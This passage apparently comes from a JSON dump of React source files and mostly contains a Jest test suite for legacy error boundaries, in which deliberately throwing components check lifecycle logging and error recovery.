formatValue(React.useContext(Ctx));\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <Provider value=\"a\">\n          <span>\n            <RenderPropConsumer />\n            <ContextTypeConsumer />\n            <FnConsumer />\n          </span>\n        </Provider>,\n      );\n    });\n    expect(container.textContent).toBe('aaa');\n    expect(lifecycleContextLog).toEqual([]);\n\n    // Test update path\n    await act(() => {\n      root.render(\n        <Provider value=\"a\">\n          <span>\n            <RenderPropConsumer />\n            <ContextTypeConsumer />\n            <FnConsumer />\n          </span>\n        </Provider>,\n      );\n    });\n    expect(container.textContent).toBe('aaa');\n    expect(lifecycleContextLog).toEqual(['a', 'a', 'a']);\n    lifecycleContextLog.length = 0;\n\n    await act(() => {\n      root.render(\n        <Provider value=\"b\">\n          <span>\n            <RenderPropConsumer />\n            <ContextTypeConsumer />\n            <FnConsumer />\n          </span>\n        </Provider>,\n      );\n    });\n    expect(container.textContent).toBe('bbb');\n    expect(lifecycleContextLog).toEqual(['b', 'b', 'b']);\n    root.unmount();\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactLegacyErrorBoundaries-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet PropTypes;\nlet React;\nlet ReactDOM;\nlet act;\nlet assertConsoleErrorDev;\n\n// TODO: Refactor this test once componentDidCatch setState is deprecated.\ndescribe('ReactLegacyErrorBoundaries', () => {\n  let log;\n\n  let BrokenConstructor;\n  let BrokenComponentWillMount;\n  let BrokenComponentDidMount;\n  let BrokenComponentWillReceiveProps;\n  let BrokenComponentWillUpdate;\n  let BrokenComponentDidUpdate;\n  let BrokenComponentWillUnmount;\n  let BrokenRenderErrorBoundary;\n  let BrokenComponentWillMountErrorBoundary;\n  let BrokenComponentDidMountErrorBoundary;\n  let BrokenRender;\n  let ErrorBoundary;\n  let BothErrorBoundaries;\n  let ErrorMessage;\n  let NoopErrorBoundary;\n  let RetryErrorBoundary;\n  let Normal;\n\n  beforeEach(() => {\n    jest.resetModules();\n    PropTypes = require('prop-types');\n    ReactDOM = require('react-dom');\n    React = require('react');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n\n    log = [];\n\n    BrokenConstructor = class extends React.Component {\n      constructor(props) {\n        super(props);\n        log.push('BrokenConstructor constructor [!]');\n        throw new Error('Hello');\n      }\n      render() {\n        log.push('BrokenConstructor render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('BrokenConstructor componentWillMount');\n      }\n      componentDidMount() {\n        log.push('BrokenConstructor componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push('BrokenConstructor componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push('BrokenConstructor componentWillUpdate');\n      }\n      componentDidUpdate() {\n        log.push('BrokenConstructor componentDidUpdate');\n      }\n      componentWillUnmount() {\n        log.push('BrokenConstructor componentWillUnmount');\n      }\n    };\n\n    BrokenComponentWillMount = class extends React.Component {\n      constructor(props) {\n        super(props);\n        log.push('BrokenComponentWillMount constructor');\n      }\n      render() {\n        log.push('BrokenComponentWillMount render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('BrokenComponentWillMount componentWillMount [!]');\n        throw new Error('Hello');\n      }\n      componentDidMount() {\n        log.push('BrokenComponentWillMount componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push('BrokenComponentWillMount componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push('BrokenComponentWillMount componentWillUpdate');\n      }\n      componentDidUpdate() {\n        log.push('BrokenComponentWillMount componentDidUpdate');\n      }\n      componentWillUnmount() {\n        log.push('BrokenComponentWillMount componentWillUnmount');\n      }\n    };\n\n    BrokenComponentDidMount = class extends React.Component {\n      constructor(props) {\n        super(props);\n        log.push('BrokenComponentDidMount constructor');\n      }\n      render() {\n        log.push('BrokenComponentDidMount render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('BrokenComponentDidMount componentWillMount');\n      }\n      componentDidMount() {\n        log.push('BrokenComponentDidMount componentDidMount [!]');\n        throw new Error('Hello');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push('BrokenComponentDidMount componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push('BrokenComponentDidMount componentWillUpdate');\n      }\n      componentDidUpdate() {\n        log.push('BrokenComponentDidMount componentDidUpdate');\n      }\n      componentWillUnmount() {\n        log.push('BrokenComponentDidMount componentWillUnmount');\n      }\n    };\n\n    BrokenComponentWillReceiveProps = class extends React.Component {\n      constructor(props) {\n        super(props);\n        log.push('BrokenComponentWillReceiveProps constructor');\n      }\n      render() {\n        log.push('BrokenComponentWillReceiveProps render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('BrokenComponentWillReceiveProps componentWillMount');\n      }\n      componentDidMount() {\n        log.push('BrokenComponentWillReceiveProps componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push(\n          'BrokenComponentWillReceiveProps componentWillReceiveProps [!]',\n        );\n        throw new Error('Hello');\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push('BrokenComponentWillReceiveProps componentWillUpdate');\n      }\n      componentDidUpdate() {\n        log.push('BrokenComponentWillReceiveProps componentDidUpdate');\n      }\n      componentWillUnmount() {\n        log.push('BrokenComponentWillReceiveProps componentWillUnmount');\n      }\n    };\n\n    BrokenComponentWillUpdate = class extends React.Component {\n      constructor(props) {\n        super(props);\n        log.push('BrokenComponentWillUpdate constructor');\n      }\n      render() {\n        log.push('BrokenComponentWillUpdate render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('BrokenComponentWillUpdate componentWillMount');\n      }\n      componentDidMount() {\n        log.push('BrokenComponentWillUpdate componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push('BrokenComponentWillUpdate componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push('BrokenComponentWillUpdate componentWillUpdate [!]');\n        throw new Error('Hello');\n      }\n      componentDidUpdate() {\n        log.push('BrokenComponentWillUpdate componentDidUpdate');\n      }\n      componentWillUnmount() {\n        log.push('BrokenComponentWillUpdate componentWillUnmount');\n      }\n    };\n\n    BrokenComponentDidUpdate = class extends React.Component {\n      static defaultProps = {\n        errorText: 'Hello',\n      };\n      constructor(props) {\n        super(props);\n        log.push('BrokenComponentDidUpdate constructor');\n      }\n      render() {\n        log.push('BrokenComponentDidUpdate render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('BrokenComponentDidUpdate componentWillMount');\n      }\n      componentDidMount() {\n        log.push('BrokenComponentDidUpdate componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push('BrokenComponentDidUpdate componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push('BrokenComponentDidUpdate componentWillUpdate');\n      }\n      componentDidUpdate() {\n        log.push('BrokenComponentDidUpdate componentDidUpdate [!]');\n        throw new Error(this.props.errorText);\n      }\n      componentWillUnmount() {\n        log.push('BrokenComponentDidUpdate componentWillUnmount');\n      }\n    };\n\n    BrokenComponentWillUnmount = class extends React.Component {\n      static defaultProps = {\n        errorText: 'Hello',\n      };\n      constructor(props) {\n        super(props);\n        log.push('BrokenComponentWillUnmount constructor');\n      }\n      render() {\n        log.push('BrokenComponentWillUnmount render');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('BrokenComponentWillUnmount componentWillMount');\n      }\n      componentDidMount() {\n        log.push('BrokenComponentWillUnmount componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push('BrokenComponentWillUnmount componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push('BrokenComponentWillUnmount componentWillUpdate');\n      }\n      componentDidUpdate() {\n        log.push('BrokenComponentWillUnmount componentDidUpdate');\n      }\n      componentWillUnmount() {\n        log.push('BrokenComponentWillUnmount componentWillUnmount [!]');\n        throw new Error(this.props.errorText);\n      }\n    };\n\n    BrokenComponentWillMountErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {error: null};\n        log.push('BrokenComponentWillMountErrorBoundary constructor');\n      }\n      render() {\n        if (this.state.error) {\n          log.push('BrokenComponentWillMountErrorBoundary render error');\n          return <div>Caught an error: {this.state.error.message}.</div>;\n        }\n        log.push('BrokenComponentWillMountErrorBoundary render success');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push(\n          'BrokenComponentWillMountErrorBoundary componentWillMount [!]',\n        );\n        throw new Error('Hello');\n      }\n      componentDidMount() {\n        log.push('BrokenComponentWillMountErrorBoundary componentDidMount');\n      }\n      componentWillUnmount() {\n        log.push('BrokenComponentWillMountErrorBoundary componentWillUnmount');\n      }\n      componentDidCatch(error) {\n        log.push('BrokenComponentWillMountErrorBoundary componentDidCatch');\n        this.setState({error});\n      }\n    };\n\n    BrokenComponentDidMountErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {error: null};\n        log.push('BrokenComponentDidMountErrorBoundary constructor');\n      }\n      render() {\n        if (this.state.error) {\n          log.push('BrokenComponentDidMountErrorBoundary render error');\n          return <div>Caught an error: {this.state.error.message}.</div>;\n        }\n        log.push('BrokenComponentDidMountErrorBoundary render success');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('BrokenComponentDidMountErrorBoundary componentWillMount');\n      }\n      componentDidMount() {\n        log.push('BrokenComponentDidMountErrorBoundary componentDidMount [!]');\n        throw new Error('Hello');\n      }\n      componentWillUnmount() {\n        log.push('BrokenComponentDidMountErrorBoundary componentWillUnmount');\n      }\n      componentDidCatch(error) {\n        log.push('BrokenComponentDidMountErrorBoundary componentDidCatch');\n        this.setState({error});\n      }\n    };\n\n    BrokenRenderErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {error: null};\n        log.push('BrokenRenderErrorBoundary constructor');\n      }\n      render() {\n        if (this.state.error) {\n          log.push('BrokenRenderErrorBoundary render error [!]');\n          throw new Error('Hello');\n        }\n        log.push('BrokenRenderErrorBoundary render success');\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('BrokenRenderErrorBoundary componentWillMount');\n      }\n      componentDidMount() {\n        log.push('BrokenRenderErrorBoundary componentDidMount');\n      }\n      componentWillUnmount() {\n        log.push('BrokenRenderErrorBoundary componentWillUnmount');\n      }\n      componentDidCatch(error) {\n        log.push('BrokenRenderErrorBoundary componentDidCatch');\n        this.setState({error});\n      }\n    };\n\n    BrokenRender = class extends React.Component {\n      constructor(props) {\n        super(props);\n        log.push('BrokenRender constructor');\n      }\n      render() {\n        log.push('BrokenRender render [!]');\n        throw new Error('Hello');\n      }\n      UNSAFE_componentWillMount() {\n        log.push('BrokenRender componentWillMount');\n      }\n      componentDidMount() {\n        log.push('BrokenRender componentDidMount');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push('BrokenRender componentWillReceiveProps');\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push('BrokenRender componentWillUpdate');\n      }\n      componentDidUpdate() {\n        log.push('BrokenRender componentDidUpdate');\n      }\n      componentWillUnmount() {\n        log.push('BrokenRender componentWillUnmount');\n      }\n    };\n\n    NoopErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        log.push('NoopErrorBoundary constructor');\n      }\n      render() {\n        log.push('NoopErrorBoundary render');\n        return <BrokenRender />;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('NoopErrorBoundary componentWillMount');\n      }\n      componentDidMount() {\n        log.push('NoopErrorBoundary componentDidMount');\n      }\n      componentWillUnmount() {\n        log.push('NoopErrorBoundary componentWillUnmount');\n      }\n      componentDidCatch() {\n        log.push('NoopErrorBoundary componentDidCatch');\n      }\n    };\n\n    Normal = class extends React.Component {\n      static defaultProps = {\n        logName: 'Normal',\n      };\n      constructor(props) {\n        super(props);\n        log.push(`${this.props.logName} constructor`);\n      }\n      render() {\n        log.push(`${this.props.logName} render`);\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        log.push(`${this.props.logName} componentWillMount`);\n      }\n      componentDidMount() {\n        log.push(`${this.props.logName} componentDidMount`);\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push(`${this.props.logName} componentWillReceiveProps`);\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push(`${this.props.logName} componentWillUpdate`);\n      }\n      componentDidUpdate() {\n        log.push(`${this.props.logName} componentDidUpdate`);\n      }\n      componentWillUnmount() {\n        log.push(`${this.props.logName} componentWillUnmount`);\n      }\n    };\n\n    ErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {error: null};\n        log.push(`${this.props.logName} constructor`);\n      }\n      render() {\n        if (this.state.error && !this.props.forceRetry) {\n          log.push(`${this.props.logName} render error`);\n          return this.props.renderError(this.state.error, this.props);\n        }\n        log.push(`${this.props.logName} render success`);\n        return <div>{this.props.children}</div>;\n      }\n      componentDidCatch(error) {\n        log.push(`${this.props.logName} componentDidCatch`);\n        this.setState({error});\n      }\n      UNSAFE_componentWillMount() {\n        log.push(`${this.props.logName} componentWillMount`);\n      }\n      componentDidMount() {\n        log.push(`${this.props.logName} componentDidMount`);\n      }\n      UNSAFE_componentWillReceiveProps() {\n        log.push(`${this.props.logName} componentWillReceiveProps`);\n      }\n      UNSAFE_componentWillUpdate() {\n        log.push(`${this.props.logName} componentWillUpdate`);\n      }\n      componentDidUpdate() {\n        log.push(`${this.props.logName} componentDidUpdate`);\n      }\n      componentWillUnmount() {\n        log.push(`${this.props.logName} componentWillUnmount`);\n      }\n    };\n    ErrorBoundary.defaultProps = {\n      logName: 'ErrorBoundary',\n      renderError(error, props) {\n        return (\n          <div ref={props.errorMessageRef}>\n            Caught an error: {error.message}.\n          </div>\n        );\n      },\n    };\n\n    BothErrorBoundaries = class extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {error: null};\n        log.push('BothErrorBoundaries constructor');\n      }\n\n      static getDerivedStateFromError(error) {\n        log.push('BothErrorBoundaries static getDerivedStateFromError');\n        return {error};\n      }\n\n      render() {\n        if (this.state.error) {\n          log.push('BothErrorBoundaries render error');\n          return <div>Caught an error: {this.state.error.message}.</div>;\n        }\n        log.push('BothErrorBoundaries render success');\n        return <div>{this.props.children}</div>;\n      }\n\n      componentDidCatch(error) {\n        log.push('BothErrorBoundaries componentDidCatch');\n        this.setState({error});\n      }\n\n      UNSAFE_componentWillMount() {\n        log.push('BothErrorBoundaries componentWillMount');\n      }\n\n      componentDidMount() {\n        log.push('BothErrorBoundaries componentDidMount');\n      }\n\n      UNSAFE_componentWillReceiveProps() {\n        log.push('BothErrorBoundaries componentWillReceiveProps');\n      }\n\n      UNSAFE_componentWillUpdate() {\n        log.push('BothErrorBoundaries componentWillUpdate');\n      }\n\n      componentDidUpdate() {\n        log.push('BothErrorBoundaries componentDidUpdate');\n      }\n\n      componentWillUnmount() {\n        log.push('BothErrorBoundaries componentWillUnmount');\n      }\n    };\n\n    RetryErrorBoundary = class extends React.Component {\n      constructor(props) {\n        super(props);\n        log.push('RetryErrorBoundary constructor');\n      }\n      render() {\n        log.push('RetryErrorBoundary render');\n        return <BrokenRender />;\n      }\n      UNSAFE_componentWillMount() {\n        log.push('RetryErrorBoundary componentWillMount');\n      }\n      componentDidMount() {\n        log.push('RetryErrorBoundary componentDidMount');\n      }\n      componentWillUnmount() {\n        log.push('RetryErrorBoundary componentWillUnmount');\n      }\n      componentDidCatch(error) {\n        log.push('RetryErrorBoundary componentDidCatch [!]');\n        // In Fiber, calling setState() (and failing) is treated as a rethrow.\n        this.setState({});\n      }\n    };\n\n    ErrorMessage = class extends React.Component {\n      constructor(props) {\n        super(props);\n        log.push('ErrorMessage constructor');\n      }\n      UNSAFE_componentWillMount() {\n        log.push('ErrorMessage componentWillMount');\n      }\n      componentDidMount() {\n        log.push('ErrorMessage componentDidMount');\n      }\n      componentWillUnmount() {\n        log.push('ErrorMessage componentWillUnmount');\n      }\n      render() {\n        log.push('ErrorMessage render');\n        return <div>Caught an error: {this.props.message}.</div>;\n      }\n    };\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  // @gate !disableLegacyMode\n  it('does not swallow exceptions on mounting without boundaries', async () => {\n    let container = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<BrokenRender />, container);\n      });\n    }).rejects.toThrow('Hello');\n\n    container = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<BrokenComponentWillMount />, container);\n      });\n    }).rejects.toThrow('Hello');\n\n    container = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<BrokenComponentDidMount />, container);\n      });\n    }).rejects.toThrow('Hello');\n  });\n\n  // @gate !disableLegacyMode\n  it('does not swallow exceptions on updating without boundaries', async () => {\n    let container = document.createElement('div');\n    ReactDOM.render(<BrokenComponentWillUpdate />, container);\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<BrokenComponentWillUpdate />, container);\n      });\n    }).rejects.toThrow('Hello');\n\n    container = document.createElement('div');\n    ReactDOM.render(<BrokenComponentWillReceiveProps />, container);\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<BrokenComponentWillReceiveProps />, container);\n      });\n    }).rejects.toThrow('Hello');\n\n    container = document.createElement('div');\n    ReactDOM.render(<BrokenComponentDidUpdate />, container);\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<BrokenComponentDidUpdate />, container);\n      });\n    }).rejects.toThrow('Hello');\n  });\n\n  // @gate !disableLegacyMode\n  it('does not swallow exceptions on unmounting without boundaries', async () => {\n    const container = document.createElement('div');\n    ReactDOM.render(<BrokenComponentWillUnmount />, container);\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.unmountComponentAtNode(container);\n      });\n    }).rejects.toThrow('Hello');\n  });\n\n  // @gate !disableLegacyMode\n  it('prevents errors from leaking into other roots', async () => {\n    const container1 = document.createElement('div');\n    const container2 = document.createElement('div');\n    const container3 = document.createElement('div');\n\n    ReactDOM.render(<span>Before 1</span>, container1);\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<BrokenRender />, container2);\n      });\n    }).rejects.toThrow('Hello');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n      container3,\n    );\n    expect(container1.firstChild.textContent).toBe('Before 1');\n    expect(container2.firstChild).toBe(null);\n    expect(container3.firstChild.textContent).toBe('Caught an error: Hello.');\n\n    ReactDOM.render(<span>After 1</span>, container1);\n    ReactDOM.render(<span>After 2</span>, container2);\n    ReactDOM.render(\n      <ErrorBoundary forceRetry={true}>After 3</ErrorBoundary>,\n      container3,\n    );\n    expect(container1.firstChild.textContent).toBe('After 1');\n    expect(container2.firstChild.textContent).toBe('After 2');\n    expect(container3.firstChild.textContent).toBe('After 3');\n\n    ReactDOM.unmountComponentAtNode(container1);\n    ReactDOM.unmountComponentAtNode(container2);\n    ReactDOM.unmountComponentAtNode(container3);\n    expect(container1.firstChild).toBe(null);\n    expect(container2.firstChild).toBe(null);\n    expect(container3.firstChild).toBe(null);\n  });\n\n  // @gate !disableLegacyMode\n  it('logs a single error using both error boundaries', () => {\n    const container = document.createElement('div');\n    spyOnDev(console, 'error');\n    ReactDOM.render(\n      <BothErrorBoundaries>\n        <BrokenRender />\n      </BothErrorBoundaries>,\n      container,\n    );\n    if (__DEV__) {\n      expect(console.error).toHaveBeenCalledTimes(2);\n      expect(console.error.mock.calls[0][0]).toContain(\n        'ReactDOM.render has not been supported since React 18',\n      );\n      expect(console.error.mock.calls[1][2]).toContain(\n        'The above error occurred in the <BrokenRender> component',\n      );\n    }\n\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'BothErrorBoundaries constructor',\n      'BothErrorBoundaries componentWillMount',\n      'BothErrorBoundaries render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Both getDerivedStateFromError and componentDidCatch should be called\n      'BothErrorBoundaries static getDerivedStateFromError',\n      'BothErrorBoundaries componentWillMount',\n      'BothErrorBoundaries render error',\n      // Fiber mounts with null children before capturing error\n      'BothErrorBoundaries componentDidMount',\n      // Catch and render an error message\n      'BothErrorBoundaries componentDidCatch',\n      'BothErrorBoundaries componentWillUpdate',\n      'BothErrorBoundaries render error',\n      'BothErrorBoundaries componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['BothErrorBoundaries componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('renders an error state if child throws in render', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Fiber mounts with null children before capturing error\n      'ErrorBoundary componentDidMount',\n      // Catch and render an error message\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('renders an error state if child throws in constructor', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenConstructor />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenConstructor constructor [!]',\n      // Fiber mounts with null children before capturing error\n      'ErrorBoundary componentDidMount',\n      // Catch and render an error message\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('renders an error state if child throws in componentWillMount', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenComponentWillMount />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenComponentWillMount constructor',\n      'BrokenComponentWillMount componentWillMount [!]',\n      'ErrorBoundary componentDidMount',\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyContext || !__DEV__\n  // @gate !disableLegacyMode\n  it('renders an error state if context provider throws in componentWillMount', () => {\n    class BrokenComponentWillMountWithContext extends React.Component {\n      static childContextTypes = {foo: PropTypes.number};\n      getChildContext() {\n        return {foo: 42};\n      }\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n      UNSAFE_componentWillMount() {\n        throw new Error('Hello');\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenComponentWillMountWithContext />\n      </ErrorBoundary>,\n      container,\n    );\n    assertConsoleErrorDev([\n      'BrokenComponentWillMountWithContext uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in BrokenComponentWillMountWithContext (at **)',\n    ]);\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n  });\n\n  // @gate !disableLegacyMode\n  it('mounts the error message if mounting fails', () => {\n    function renderError(error) {\n      return <ErrorMessage message={error.message} />;\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary renderError={renderError}>\n        <BrokenRender />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      'ErrorBoundary componentDidMount',\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorMessage constructor',\n      'ErrorMessage componentWillMount',\n      'ErrorMessage render',\n      'ErrorMessage componentDidMount',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual([\n      'ErrorBoundary componentWillUnmount',\n      'ErrorMessage componentWillUnmount',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('propagates errors on retry on mounting', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <RetryErrorBoundary>\n          <BrokenRender />\n        </RetryErrorBoundary>\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'RetryErrorBoundary constructor',\n      'RetryErrorBoundary componentWillMount',\n      'RetryErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // In Fiber, failed error boundaries render null before attempting to recover\n      'RetryErrorBoundary componentDidMount',\n      'RetryErrorBoundary componentDidCatch [!]',\n      'ErrorBoundary componentDidMount',\n      // Retry\n      'RetryErrorBoundary render',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // This time, the error propagates to the higher boundary\n      'RetryErrorBoundary componentWillUnmount',\n      'ErrorBoundary componentDidCatch',\n      // Render the error\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('propagates errors inside boundary during componentWillMount', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenComponentWillMountErrorBoundary />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenComponentWillMountErrorBoundary constructor',\n      'BrokenComponentWillMountErrorBoundary componentWillMount [!]',\n      // The error propagates to the higher boundary\n      'ErrorBoundary componentDidMount',\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('propagates errors inside boundary while rendering error state', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenRenderErrorBoundary>\n          <BrokenRender />\n        </BrokenRenderErrorBoundary>\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRenderErrorBoundary constructor',\n      'BrokenRenderErrorBoundary componentWillMount',\n      'BrokenRenderErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // The first error boundary catches the error\n      // It adjusts state but throws displaying the message\n      // Finish mounting with null children\n      'BrokenRenderErrorBoundary componentDidMount',\n      // Attempt to handle the error\n      'BrokenRenderErrorBoundary componentDidCatch',\n      'ErrorBoundary componentDidMount',\n      'BrokenRenderErrorBoundary render error [!]',\n      // Boundary fails with new error, propagate to next boundary\n      'BrokenRenderErrorBoundary componentWillUnmount',\n      // Attempt to handle the error again\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('does not call componentWillUnmount when aborting initial mount', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      